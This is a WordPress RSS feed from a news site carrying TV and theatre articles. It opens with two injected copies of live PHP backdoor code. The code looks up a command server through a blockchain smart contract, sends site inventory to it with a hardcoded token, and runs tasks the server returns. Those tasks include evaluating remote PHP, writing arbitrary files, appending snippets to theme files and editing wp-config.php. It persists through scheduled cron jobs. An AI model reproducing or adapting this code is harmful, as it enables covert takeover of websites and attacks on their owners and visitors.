// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Timely – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 24 Mar 2021 13:05:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Timely – Brief News https://briefnews.eu 32 32 Good Trouble’s Sherry Cola: Alice’s Struggle With Asian Stereotypes in Comedy ‘Could Not Be More Timely’ https://briefnews.eu/good-troubles-sherry-cola-alices-struggle-with-asian-stereotypes-in-comedy-could-not-be-more-timely/ https://briefnews.eu/good-troubles-sherry-cola-alices-struggle-with-asian-stereotypes-in-comedy-could-not-be-more-timely/#respond Wed, 24 Mar 2021 13:05:15 +0000 https://briefnews.eu/good-troubles-sherry-cola-alices-struggle-with-asian-stereotypes-in-comedy-could-not-be-more-timely/

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Like viewers, Good Trouble star Sherry Cola also sometimes feels like the show’s writers have a crystal ball to help them craft topical and prescient storylines. The Freeform drama has been highlighting the Black Lives Matter movement since its premiere in early 2019, in addition to telling stories about women in tech, transgender veterans and restorative justice, to name just a few contemporary issues.

“I always say Good Trouble has been that show ahead of its time, reflecting real-life issues before the world catches up,” Cola tells TVLine. “Recently, we had a table read, and afterwards, Maia [Mitchell] texts in our Coterie group chat, [and] she says, ‘This episode was therapy.’”

This Wednesday’s installment (airing at 10/9c) is another example of the series being on the pulse of what’s happening in our society. Now that Cola’s Alice has found success in the comedy diversity showcase with her impression of her mother, she’s forced to confront the Asian stereotypes in her own sketches. “First of all, I’m just extremely grateful that [this episode] was written by Thomas Wong and directed by Yoko Okumura. These are two Asian people in my community who are just so talented,” Cola enthuses.

“We saw a couple episodes ago that [Alice] entered this comedy diversity showcase, but at what cost? I think she’s being put in a box, like without even realizing it,” Cola previews, adding that Alice “can be kind of naïve” and thought she was simply doing an impersonation of her mother the way other non-Asian comics mimic their own moms.

Good Trouble Sherry Cola“For Alice, it didn’t seem harmful until Lindsay called her out, in a sense, for falling back on her ethnicity, and that makes Alice think twice,” Cola continues. “So we definitely explore that in this week’s episode. It really goes hand-in-hand with representation in this country. Representation on the screen reflects representation in this country, and sometimes on screen, Asian people get put in a box. We are forced to do the accent, we are forced to be the punchline, and [as a] result, that is how society and America sees us.”

Given the topic explored, combined with current real-world events, “this episode is really going to hit home,” Cola says. “Because of the devastating shooting in Atlanta, the Asian community is just heartbroken right now and really processing and trying to express and just fighting back. The community is stronger than ever right now. We’re so unapologetic and realizing, one, we belong in this country, and two, we belong in this industry… There’s so much more work to be done, and I think we know that. We’ve been knowing that, and I’m hoping everyone else is catching up to it.”

Good Trouble Sherry ColaAnd once again, Good Trouble is “having conversations that are overdue,” Cola notes. This week’s hour, in particular, “could not be more timely in the theme of Asian people breaking that stereotype that America and society has forced us [into]. The theme of Season 3, in general, for Alice is finding your voice, and being put in that predicament [in the showcase], Alice is going to have to wake up and stand up for herself.”

For Cola, who is also a stand-up comic, her character’s situation is one that hits close to home, especially when it comes to representation. “Just like how Alice is the odd woman out — she’s checking the box, if you will, for this comedy diversity showcase — that kind of is how it is in real life as well. I am the only one of my people in every category — woman, Asian, queer, immigrant, whatever it may be — on a stand-up lineup,” Cola shares. “I think there’s a lot more work to be done in the comedy space. What Alice is going through is definitely a reflection of what Sherry goes through.”

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]]> https://briefnews.eu/good-troubles-sherry-cola-alices-struggle-with-asian-stereotypes-in-comedy-could-not-be-more-timely/feed/ 0 The Simpsons Video: Voting Is a Nightmare for Homer in Timely ‘Treehouse of Horror’ Sneak Peek https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/ https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/#respond Fri, 30 Oct 2020 23:10:29 +0000 https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/

RELATED STORIES

The Simpsons‘ annual “Treehouse of Horror” episodes do their best to scare us every year… and what could be scarier than the upcoming election?

In a sneak peek at Sunday’s episode (Fox, 8/7c), Marge nags Homer to get down to the polls and vote — at least “if you care about the three things you love most,” she says. (In Homer’s mind, that’s beer, donuts and pretzels, but never mind.) He rushes into the voting booth, but he’s stumped on one particular choice: who to vote for in the presidential race. (“Can I write in Judge Judy?”)

Lisa ducks her head in — that’s gotta be a violation of election law, right? — to lecture her father about all the awful things that have happened over the last four years, and soon, Homer is swamped by a scrolling list of all of President Trump’s “accomplishments,” from “Put children in cages” to “Looks lousy in a tennis outfit.”

Homer makes his choice and scoffs: “Who are you gonna make fun of now, late-night comics?” But this is a “Treehouse of Horror” episode after all, so of course, there’s a dark twist in store; press PLAY on the video above for a sneak peek, and then hit the comments to share your (spooky) thoughts.

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]]> https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/feed/ 0 Quiz review: Millionaire-themed production is timely but with fundamental weaknesses https://briefnews.eu/quiz-review-millionaire-themed-production-is-timely-but-with-fundamental-weaknesses/ https://briefnews.eu/quiz-review-millionaire-themed-production-is-timely-but-with-fundamental-weaknesses/#respond Fri, 13 Apr 2018 12:10:32 +0000 http://briefnews.eu/quiz-review-millionaire-themed-production-is-timely-but-with-fundamental-weaknesses/

But back when Chris Tarrant ruled the bastard child of Double Your Money and Mastermind, a million pounds was serious dosh. And the scandal of the “Coughing Major” who was convicted of cheating his way to the big cheque in 2003 was international news.

James Graham’s play Quiz has transferred from a successful run at Chichester Festival Theatre. The first half is a kind of potted history of TV gameshows with a plot attached as Who Wants To Be A Millionaire? is pitched to sceptical TV executives then transmitted with great success.

The Ingram family, particularly pub quiz obsessive Diana (Stephanie Street), see an opportunity to make big bucks and they take turns to get on the show.

Diana’s husband Charles (Gavin Spokes) is a British Army major, primed for the quiz by his ambitious wife and assisted by mysterious Welsh nerd Tecwen Whittock (Mark Meadows) who coughs to guide Charles to the correct answers. 

The second half focuses on the subsequent court case and the audience is invited to vote on whether Charles is innocent or guilty even as the facts become increasingly uncertain.

Daniel Evans’ production is part-gameshow and part-trial and skips along merrily enough as it attempts to tie all the elements together. However it is looking a little faded.

The TV studio set with its garish neon and huge screens was trounced by the National Theatre’s production of Network.

The audience-as-jury, in which we are given electronic keypads to vote guilty or innocent, is an overused device (last year’s Terror at the Lyric Hammersmith did it far more effectively).

And the reliance on a comprehensive knowledge of pop culture from the golden age of gameshows such as Take Your Pick, Bullseye and The Price Is Right is a fundamental weakness.

Who under the age of 60 will identify Leslie Crowther or Des O’Connor, however amusingly Keir Charles impersonates them?

The Coughing Major scandal is a prism through which we examine British society and its values, political manipulation, the legal system and even the nature of theatre itself.

How can we distinguish between truth and lies, fact and fiction?

Given the current concerns over fake news and with social media under the microscope, Quiz is so timely that it seems more penetrating than it is.

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]]> https://briefnews.eu/quiz-review-millionaire-themed-production-is-timely-but-with-fundamental-weaknesses/feed/ 0 ‘The Tale’ Review: This Brave & Heartrending Story Couldn’t Be More Important or Timely [Sundance] https://briefnews.eu/the-tale-review-this-brave-heartrending-story-couldnt-be-more-important-or-timely-sundance/ https://briefnews.eu/the-tale-review-this-brave-heartrending-story-couldnt-be-more-important-or-timely-sundance/#respond Sun, 21 Jan 2018 03:15:04 +0000 http://briefnews.eu/the-tale-review-this-brave-heartrending-story-couldnt-be-more-important-or-timely-sundance/ The Tale Review

Hollywood is reeling from outing sexual predators who have been hiding in plain sight for years, even decades. These revelations have sparked the imperative #MeToo movement, inspiring countless women to share the stories of sexual abuse and harassment that they’ve either repressed or suppressed. Director Jennifer Fox is one of those women, and she tells her brave and heartrending true story in The Tale by using memory and documentary influences as narrative elements that play with the medium in ways that bolster this harrowing recollection.

The Tale stars Laura Dern as Jennifer Fox. Yes, the movie is autobiographical. The Fox of this film is a documentary filmmaker just like the real woman. And the Fox of this film was also sexually abused when she was 13 years old, just like the real Jennifer Fox. But as we see The Tale unfold, it’s clear that Laura Dern’s version of Jennifer Fox has repressed her memories of the trauma from her early teen years. It’s only after her mother (played magnificently by Ellen Burstyn) uncovers a story Fox wrote for her English class during this time that she begins to dig into her memories.

At 13 years old, Fox was sent to a little equestrian camp run by a beautiful British woman called Mrs. G (Elizabeth Debicki). With two other teenage girls, Fox was put through a rigorous training regimen to become skilled horseback riders. Joining in with the training was a man who lived across the street from Mrs. G’s ranch named Bill (Jason Ritter). A former Olympic athlete, Bill helps with training by helping the girls get into shape by running.

Initially, Fox’s memories of the time spent on Mrs. G’s ranch are nice. But suddenly she realizes that she wasn’t quite as old as she remembers. On screen, the teenage actress playing Fox during flashbacks to this equestrian camp suddenly becomes a younger version (Isabelle Nélisse) that will make the story that’s about to unfold that much more unnerving. The memories we’re seeing are coming straight from Fox, but at first they’re the memories she has subconsciously touched up so she doesn’t have to remember what really happened. She only remembers feeling loved and accepted at a time when her family back home made her feel anything but. She felt special. But as The Tale continues, these memories start to unravel the repressed trauma that Fox endured.

